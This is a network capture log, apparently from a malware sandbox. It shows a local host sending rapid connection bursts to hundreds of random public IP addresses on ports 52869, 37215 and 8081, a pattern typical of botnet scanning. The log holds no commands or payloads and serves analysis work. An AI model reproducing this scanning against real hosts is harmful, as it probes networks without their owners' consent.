Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	13.188.216.17
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	99.58.61.9
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	181.129.237.7
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	194.147.115.196
Jul 20, 2024 23:01:01.726284981 CEST	49909	52869	192.168.2.14	182.207.82.188
Jul 20, 2024 23:01:01.726629019 CEST	52869	49909	147.95.208.99	192.168.2.14
Jul 20, 2024 23:01:01.726854086 CEST	52869	49909	100.219.185.52	192.168.2.14
Jul 20, 2024 23:01:01.727016926 CEST	52725	37215	192.168.2.14	197.196.0.1
Jul 20, 2024 23:01:01.727016926 CEST	52725	37215	192.168.2.14	157.22.247.150
Jul 20, 2024 23:01:01.727016926 CEST	52725	37215	192.168.2.14	197.165.177.79
Jul 20, 2024 23:01:01.727016926 CEST	52725	37215	192.168.2.14	157.45.25.14
Jul 20, 2024 23:01:01.727018118 CEST	52725	37215	192.168.2.14	157.119.32.25
Jul 20, 2024 23:01:01.727018118 CEST	52725	37215	192.168.2.14	197.93.68.144
Jul 20, 2024 23:01:01.727018118 CEST	52725	37215	192.168.2.14	41.83.59.196
Jul 20, 2024 23:01:01.727018118 CEST	52725	37215	192.168.2.14	157.30.15.243
Jul 20, 2024 23:01:01.727082014 CEST	52869	49909	95.206.145.209	192.168.2.14
Jul 20, 2024 23:01:01.728092909 CEST	52869	49909	173.122.240.164	192.168.2.14
Jul 20, 2024 23:01:01.728420019 CEST	52869	49909	221.52.211.52	192.168.2.14
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	207.156.176.173
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	35.3.132.9
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	147.142.40.59
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	191.87.191.83
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	87.162.165.59
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	179.204.168.77
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	141.112.53.45
Jul 20, 2024 23:01:01.728693008 CEST	50165	8081	192.168.2.14	167.178.242.99
Jul 20, 2024 23:01:01.728784084 CEST	52869	49909	204.53.71.93	192.168.2.14
Jul 20, 2024 23:01:01.729074955 CEST	52869	49909	134.61.70.121	192.168.2.14
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	130.89.105.172
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	23.170.161.54
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	53.243.233.11
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	157.138.168.37
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	48.203.187.54
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	219.102.36.208
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	143.151.146.37
Jul 20, 2024 23:01:01.729201078 CEST	49909	52869	192.168.2.14	203.117.119.28
Jul 20, 2024 23:01:01.729465961 CEST	52869	49909	105.81.188.11	192.168.2.14
Jul 20, 2024 23:01:01.729628086 CEST	49909	52869	192.168.2.14	2.244.30.69
Jul 20, 2024 23:01:01.729628086 CEST	49909	52869	192.168.2.14	136.184.246.205
Jul 20, 2024 23:01:01.729629040 CEST	49909	52869	192.168.2.14	222.254.37.107
Jul 20, 2024 23:01:01.729629040 CEST	49909	52869	192.168.2.14	4.32.31.240
Jul 20, 2024 23:01:01.729629040 CEST	49909	52869	192.168.2.14	137.192.226.61
Jul 20, 2024 23:01:01.729629040 CEST	49909	52869	192.168.2.14	66.238.117.205
Jul 20, 2024 23:01:01.729629040 CEST	49909	52869	192.168.2.14	218.80.197.56
Jul 20, 2024 23:01:01.729629040 CEST	49909	52869	192.168.2.14	212.166.30.102
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	171.228.159.216
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	63.197.150.28
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	43.70.142.52
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	73.244.190.4
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	121.236.69.191
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	169.200.134.69
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	130.226.14.183
Jul 20, 2024 23:01:01.730037928 CEST	49909	52869	192.168.2.14	141.164.148.144
Jul 20, 2024 23:01:01.730086088 CEST	52869	49909	188.32.206.19	192.168.2.14
Jul 20, 2024 23:01:01.730540037 CEST	49909	52869	192.168.2.14	209.88.50.174
Jul 20, 2024 23:01:01.730540037 CEST	49909	52869	192.168.2.14	37.92.251.97
Jul 20, 2024 23:01:01.730540037 CEST	49909	52869	192.168.2.14	173.77.175.8
Jul 20, 2024 23:01:01.730540037 CEST	49909	52869	192.168.2.14	217.244.72.189
Jul 20, 2024 23:01:01.730540037 CEST	49909	52869	192.168.2.14	41.70.70.158
Jul 20, 2024 23:01:01.730540037 CEST	49909	52869	192.168.2.14	188.154.109.67
Jul 20, 2024 23:01:01.730710983 CEST	49909	52869	192.168.2.14	54.184.16.152
Jul 20, 2024 23:01:01.730710983 CEST	49909	52869	192.168.2.14	203.169.244.225
Jul 20, 2024 23:01:01.730710983 CEST	49909	52869	192.168.2.14	93.253.127.39
Jul 20, 2024 23:01:01.730710983 CEST	49909	52869	192.168.2.14	65.201.52.99
Jul 20, 2024 23:01:01.730710983 CEST	49909	52869	192.168.2.14	74.93.122.98
Jul 20, 2024 23:01:01.730710983 CEST	49909	52869	192.168.2.14	157.242.18.104
Jul 20, 2024 23:01:01.730711937 CEST	49909	52869	192.168.2.14	168.20.39.149
Jul 20, 2024 23:01:01.730711937 CEST	49909	52869	192.168.2.14	69.18.180.186
Jul 20, 2024 23:01:01.733104944 CEST	52725	37215	192.168.2.14	41.172.76.162
Jul 20, 2024 23:01:01.733104944 CEST	52725	37215	192.168.2.14	157.99.188.229
Jul 20, 2024 23:01:01.733105898 CEST	52725	37215	192.168.2.14	54.175.6.190
Jul 20, 2024 23:01:01.733105898 CEST	52725	37215	192.168.2.14	197.5.89.191
Jul 20, 2024 23:01:01.733105898 CEST	52725	37215	192.168.2.14	175.85.67.28
Jul 20, 2024 23:01:01.733105898 CEST	52725	37215	192.168.2.14	192.143.120.56
Jul 20, 2024 23:01:01.733105898 CEST	52725	37215	192.168.2.14	71.134.139.31
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	40.4.167.143
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	159.76.235.15
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	159.122.145.72
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	103.245.84.176
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	212.213.233.214
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	130.248.131.170
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	111.197.160.70
Jul 20, 2024 23:01:01.733169079 CEST	49909	52869	192.168.2.14	76.167.2.252
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	139.42.233.209
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	2.105.54.168
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	147.96.222.42
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	218.213.179.177
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	170.155.6.243
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	220.68.163.168
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	161.233.163.46
Jul 20, 2024 23:01:01.733316898 CEST	50165	8081	192.168.2.14	160.241.197.51
Jul 20, 2024 23:01:01.733828068 CEST	49909	52869	192.168.2.14	88.204.93.174
Jul 20, 2024 23:01:01.733828068 CEST	49909	52869	192.168.2.14	51.182.172.154
Jul 20, 2024 23:01:01.733828068 CEST	49909	52869	192.168.2.14	73.182.245.246
Jul 20, 2024 23:01:01.733828068 CEST	49909	52869	192.168.2.14	44.188.109.178
Jul 20, 2024 23:01:01.733828068 CEST	52725	37215	192.168.2.14	157.141.237.22
Jul 20, 2024 23:01:01.733828068 CEST	52725	37215	192.168.2.14	197.218.87.223
Jul 20, 2024 23:01:01.734462976 CEST	52869	49909	61.153.7.70	192.168.2.14
Jul 20, 2024 23:01:01.734508038 CEST	52869	49909	65.11.129.120	192.168.2.14
Jul 20, 2024 23:01:01.734852076 CEST	52869	49909	185.221.121.133	192.168.2.14
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	13.50.25.54
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	79.130.194.18
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	43.90.91.197
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	164.194.5.157
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	176.8.64.239
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	66.12.112.220
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	198.222.10.239
Jul 20, 2024 23:01:01.735132933 CEST	49909	52869	192.168.2.14	153.248.215.68
Jul 20, 2024 23:01:01.735807896 CEST	49909	52869	192.168.2.14	84.251.183.169
Jul 20, 2024 23:01:01.735807896 CEST	49909	52869	192.168.2.14	162.74.219.77
Jul 20, 2024 23:01:01.735807896 CEST	49909	52869	192.168.2.14	192.18.105.50
Jul 20, 2024 23:01:01.735807896 CEST	49909	52869	192.168.2.14	102.158.190.172
Jul 20, 2024 23:01:01.735807896 CEST	49909	52869	192.168.2.14	206.88.112.237
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	115.118.201.201
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	167.60.40.217
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	65.29.160.70
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	60.154.99.20
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	36.44.157.9
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	19.130.123.151
Jul 20, 2024 23:01:01.735966921 CEST	49909	52869	192.168.2.14	179.90.129.47
Jul 20, 2024 23:01:01.736387014 CEST	52725	37215	192.168.2.14	157.59.211.19
Jul 20, 2024 23:01:01.736387014 CEST	52725	37215	192.168.2.14	157.151.236.223
Jul 20, 2024 23:01:01.736387014 CEST	52725	37215	192.168.2.14	157.16.152.89
Jul 20, 2024 23:01:01.736387014 CEST	52725	37215	192.168.2.14	197.94.204.45
Jul 20, 2024 23:01:01.736387014 CEST	52725	37215	192.168.2.14	197.226.152.232
Jul 20, 2024 23:01:01.736778975 CEST	52869	49909	66.244.81.164	192.168.2.14
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	170.230.98.251
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	131.30.165.92
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	17.169.15.42
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	70.81.124.243
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	146.241.18.216
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	119.153.197.44
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	211.27.182.62
Jul 20, 2024 23:01:01.736872911 CEST	49909	52869	192.168.2.14	19.237.167.106
Jul 20, 2024 23:01:01.736938953 CEST	52725	37215	192.168.2.14	157.63.104.120
Jul 20, 2024 23:01:01.736938953 CEST	52725	37215	192.168.2.14	23.86.202.230
Jul 20, 2024 23:01:01.736938953 CEST	52725	37215	192.168.2.14	36.80.25.77
Jul 20, 2024 23:01:01.736938953 CEST	52725	37215	192.168.2.14	197.27.36.193
Jul 20, 2024 23:01:01.736938953 CEST	52725	37215	192.168.2.14	41.2.29.71
Jul 20, 2024 23:01:01.736938953 CEST	52725	37215	192.168.2.14	197.105.45.119
Jul 20, 2024 23:01:01.737560987 CEST	52869	49909	171.228.159.216	192.168.2.14
Jul 20, 2024 23:01:01.737782955 CEST	52869	49909	63.197.150.28	192.168.2.14
Jul 20, 2024 23:01:01.737792969 CEST	52869	49909	43.70.142.52	192.168.2.14
Jul 20, 2024 23:01:01.737951994 CEST	52869	49909	73.244.190.4	192.168.2.14
Jul 20, 2024 23:01:01.738388062 CEST	52869	49909	121.236.69.191	192.168.2.14
Jul 20, 2024 23:01:01.738523960 CEST	49909	52869	192.168.2.14	180.110.76.181
Jul 20, 2024 23:01:01.738523960 CEST	49909	52869	192.168.2.14	184.150.134.241
Jul 20, 2024 23:01:01.738523960 CEST	49909	52869	192.168.2.14	165.106.28.124
Jul 20, 2024 23:01:01.738523960 CEST	49909	52869	192.168.2.14	48.138.196.198
Jul 20, 2024 23:01:01.738524914 CEST	49909	52869	192.168.2.14	66.228.188.189
Jul 20, 2024 23:01:01.738524914 CEST	49909	52869	192.168.2.14	113.137.201.103
Jul 20, 2024 23:01:01.738524914 CEST	49909	52869	192.168.2.14	175.154.70.103
Jul 20, 2024 23:01:01.738524914 CEST	49909	52869	192.168.2.14	111.156.5.179
Jul 20, 2024 23:01:01.738610029 CEST	49909	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:01.738610029 CEST	49909	52869	192.168.2.14	20.43.107.217
Jul 20, 2024 23:01:01.738610983 CEST	49909	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:01.738610983 CEST	49909	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:01.738610983 CEST	49909	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:01.738715887 CEST	52869	49909	169.200.134.69	192.168.2.14
Jul 20, 2024 23:01:01.738787889 CEST	52869	49909	130.226.14.183	192.168.2.14
Jul 20, 2024 23:01:01.738996029 CEST	52869	49909	141.164.148.144	192.168.2.14
Jul 20, 2024 23:01:01.739193916 CEST	52869	49909	88.204.93.174	192.168.2.14
Jul 20, 2024 23:01:01.739276886 CEST	52869	49909	51.182.172.154	192.168.2.14
Jul 20, 2024 23:01:01.739386082 CEST	49909	52869	192.168.2.14	82.116.127.119
Jul 20, 2024 23:01:01.739386082 CEST	49909	52869	192.168.2.14	102.74.231.103
Jul 20, 2024 23:01:01.739386082 CEST	49909	52869	192.168.2.14	122.251.247.22
Jul 20, 2024 23:01:01.739418030 CEST	52869	49909	73.182.245.246	192.168.2.14
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	77.94.55.192
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	4.2.156.1
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	51.49.156.124
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	160.122.171.134
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	58.4.85.140
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	196.59.243.136
Jul 20, 2024 23:01:01.739624977 CEST	49909	52869	192.168.2.14	154.156.48.100
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	129.126.166.93
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	216.153.202.50
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	51.102.236.222
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	113.254.66.177
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	219.22.198.232
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	209.107.7.172
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	19.197.105.249
Jul 20, 2024 23:01:01.740314007 CEST	49909	52869	192.168.2.14	32.154.188.58
Jul 20, 2024 23:01:01.740519047 CEST	52869	49909	44.188.109.178	192.168.2.14
Jul 20, 2024 23:01:01.740844011 CEST	52725	37215	192.168.2.14	192.8.153.125
Jul 20, 2024 23:01:01.740844011 CEST	52725	37215	192.168.2.14	197.88.152.77
Jul 20, 2024 23:01:01.740844011 CEST	50165	8081	192.168.2.14	50.25.143.35
Jul 20, 2024 23:01:01.740844011 CEST	50165	8081	192.168.2.14	45.250.75.182
Jul 20, 2024 23:01:01.740844011 CEST	50165	8081	192.168.2.14	150.68.225.205
Jul 20, 2024 23:01:01.740844011 CEST	50165	8081	192.168.2.14	90.240.82.223
Jul 20, 2024 23:01:01.741041899 CEST	52725	37215	192.168.2.14	157.221.166.47
Jul 20, 2024 23:01:01.741041899 CEST	52725	37215	192.168.2.14	207.22.189.218
Jul 20, 2024 23:01:01.741041899 CEST	52725	37215	192.168.2.14	197.137.74.201
Jul 20, 2024 23:01:01.741041899 CEST	52725	37215	192.168.2.14	197.179.55.14
Jul 20, 2024 23:01:01.741041899 CEST	52725	37215	192.168.2.14	197.56.200.101
Jul 20, 2024 23:01:01.741041899 CEST	52725	37215	192.168.2.14	41.156.70.244
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	79.163.220.136
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	64.213.179.125
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	206.233.127.191
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	149.86.2.31
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	124.90.204.138
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	157.159.16.125
Jul 20, 2024 23:01:01.741208076 CEST	49909	52869	192.168.2.14	146.126.33.191
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	17.243.81.241
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	172.229.247.177
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	66.155.14.84
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	152.211.239.204
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	65.151.145.143
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	130.69.221.111
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	202.240.96.140
Jul 20, 2024 23:01:01.742049932 CEST	49909	52869	192.168.2.14	105.162.42.13
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	197.176.223.107
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	92.44.163.203
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	190.84.44.13
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	41.62.252.224
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	197.241.51.171
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	41.210.119.234
Jul 20, 2024 23:01:01.742697001 CEST	52725	37215	192.168.2.14	167.219.163.163
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	20.189.37.8
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	89.41.8.71
Jul 20, 2024 23:01:01.743117094 CEST	34462	37215	192.168.2.14	197.74.63.134
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	221.31.170.190
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	9.178.81.40
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	170.69.53.221
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	176.152.150.1
Jul 20, 2024 23:01:01.743117094 CEST	49909	52869	192.168.2.14	41.188.20.168
Jul 20, 2024 23:01:01.743913889 CEST	49909	52869	192.168.2.14	172.76.44.174
Jul 20, 2024 23:01:01.743913889 CEST	49909	52869	192.168.2.14	74.231.66.1
Jul 20, 2024 23:01:01.743913889 CEST	49909	52869	192.168.2.14	14.68.225.116
Jul 20, 2024 23:01:01.743913889 CEST	49909	52869	192.168.2.14	108.207.129.253
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	31.208.136.124
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	182.131.237.40
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	17.89.227.78
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	158.69.14.215
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	129.182.251.240
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	69.60.102.246
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	164.2.151.22
Jul 20, 2024 23:01:01.743935108 CEST	49909	52869	192.168.2.14	18.180.5.48
Jul 20, 2024 23:01:01.744308949 CEST	50165	8081	192.168.2.14	115.192.153.206
Jul 20, 2024 23:01:01.744308949 CEST	50165	8081	192.168.2.14	110.231.24.177
Jul 20, 2024 23:01:01.744308949 CEST	50165	8081	192.168.2.14	192.67.75.80
Jul 20, 2024 23:01:01.744308949 CEST	50165	8081	192.168.2.14	167.202.188.3
Jul 20, 2024 23:01:01.744308949 CEST	50165	8081	192.168.2.14	179.71.237.234
Jul 20, 2024 23:01:01.744308949 CEST	50165	8081	192.168.2.14	60.251.232.122
Jul 20, 2024 23:01:01.744309902 CEST	50165	8081	192.168.2.14	58.28.188.75
Jul 20, 2024 23:01:01.744309902 CEST	50165	8081	192.168.2.14	89.111.105.39
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	205.51.123.179
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	74.241.45.34
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	76.37.231.153
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	24.85.93.51
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	78.239.143.72
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	79.178.206.5
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	190.240.70.168
Jul 20, 2024 23:01:01.744816065 CEST	49909	52869	192.168.2.14	166.164.65.71
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	157.208.95.241
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	155.108.238.231
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	17.142.113.86
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	173.85.77.31
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	197.206.16.185
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	197.5.132.220
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	137.87.136.218
Jul 20, 2024 23:01:01.745357037 CEST	52725	37215	192.168.2.14	197.51.101.33
Jul 20, 2024 23:01:01.745757103 CEST	49909	52869	192.168.2.14	181.217.27.35
Jul 20, 2024 23:01:01.745757103 CEST	49909	52869	192.168.2.14	43.233.86.230
Jul 20, 2024 23:01:01.745757103 CEST	49909	52869	192.168.2.14	2.121.154.211
Jul 20, 2024 23:01:01.745757103 CEST	49909	52869	192.168.2.14	90.94.174.5
Jul 20, 2024 23:01:01.745757103 CEST	49909	52869	192.168.2.14	25.162.120.16
Jul 20, 2024 23:01:01.745757103 CEST	49909	52869	192.168.2.14	184.201.211.106
Jul 20, 2024 23:01:01.746225119 CEST	49909	52869	192.168.2.14	211.7.56.202
Jul 20, 2024 23:01:01.746225119 CEST	49909	52869	192.168.2.14	44.127.140.30
Jul 20, 2024 23:01:01.746226072 CEST	49909	52869	192.168.2.14	18.63.169.76
Jul 20, 2024 23:01:01.746226072 CEST	49909	52869	192.168.2.14	44.40.106.207
Jul 20, 2024 23:01:01.746226072 CEST	49909	52869	192.168.2.14	48.20.80.85
Jul 20, 2024 23:01:01.746226072 CEST	49909	52869	192.168.2.14	118.134.156.211
Jul 20, 2024 23:01:01.746226072 CEST	49909	52869	192.168.2.14	199.151.138.24
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	84.109.57.15
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	193.193.33.173
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	134.135.249.190
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	160.121.230.64
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	211.100.123.93
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	175.30.40.73
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	166.35.250.231
Jul 20, 2024 23:01:01.746464968 CEST	49909	52869	192.168.2.14	143.1.84.100
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	212.188.70.66
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	92.65.243.52
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	168.147.24.62
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	50.255.193.210
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	129.75.183.108
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	76.57.31.87
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	143.175.82.45
Jul 20, 2024 23:01:01.747164965 CEST	49909	52869	192.168.2.14	97.242.134.148
Jul 20, 2024 23:01:01.747390985 CEST	52725	37215	192.168.2.14	41.250.244.77
Jul 20, 2024 23:01:01.747390985 CEST	52725	37215	192.168.2.14	140.186.31.130
Jul 20, 2024 23:01:01.747390985 CEST	52725	37215	192.168.2.14	157.70.42.95
Jul 20, 2024 23:01:01.747390985 CEST	52725	37215	192.168.2.14	82.227.254.28
Jul 20, 2024 23:01:01.747390985 CEST	50165	8081	192.168.2.14	45.71.48.133
Jul 20, 2024 23:01:01.747390985 CEST	50165	8081	192.168.2.14	179.126.109.40
Jul 20, 2024 23:01:01.747390985 CEST	50165	8081	192.168.2.14	191.18.68.185
Jul 20, 2024 23:01:01.747390985 CEST	50165	8081	192.168.2.14	97.189.79.179
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	112.169.187.19
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	119.100.210.43
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	54.34.159.243
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	115.193.20.97
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	213.7.228.241
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	99.148.210.83
Jul 20, 2024 23:01:01.748107910 CEST	49909	52869	192.168.2.14	223.184.191.223
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	167.27.38.190
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	70.122.128.122
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	115.223.205.24
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	203.71.161.180
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	51.148.116.193
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	191.124.205.30
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	204.244.162.157
Jul 20, 2024 23:01:01.748428106 CEST	49909	52869	192.168.2.14	184.18.102.14
Jul 20, 2024 23:01:01.748475075 CEST	50165	8081	192.168.2.14	13.210.174.207
Jul 20, 2024 23:01:01.748475075 CEST	49909	52869	192.168.2.14	129.62.198.136
Jul 20, 2024 23:01:01.748476028 CEST	49909	52869	192.168.2.14	202.125.128.56
Jul 20, 2024 23:01:01.748476028 CEST	49909	52869	192.168.2.14	62.52.52.9
Jul 20, 2024 23:01:01.748476028 CEST	49909	52869	192.168.2.14	219.223.160.20
Jul 20, 2024 23:01:01.748476028 CEST	49909	52869	192.168.2.14	87.189.73.133
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	45.180.95.187
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	46.81.119.241
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	103.23.78.175
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	75.128.113.209
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	112.223.143.0
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	190.246.166.65
Jul 20, 2024 23:01:01.749074936 CEST	50165	8081	192.168.2.14	171.221.102.31
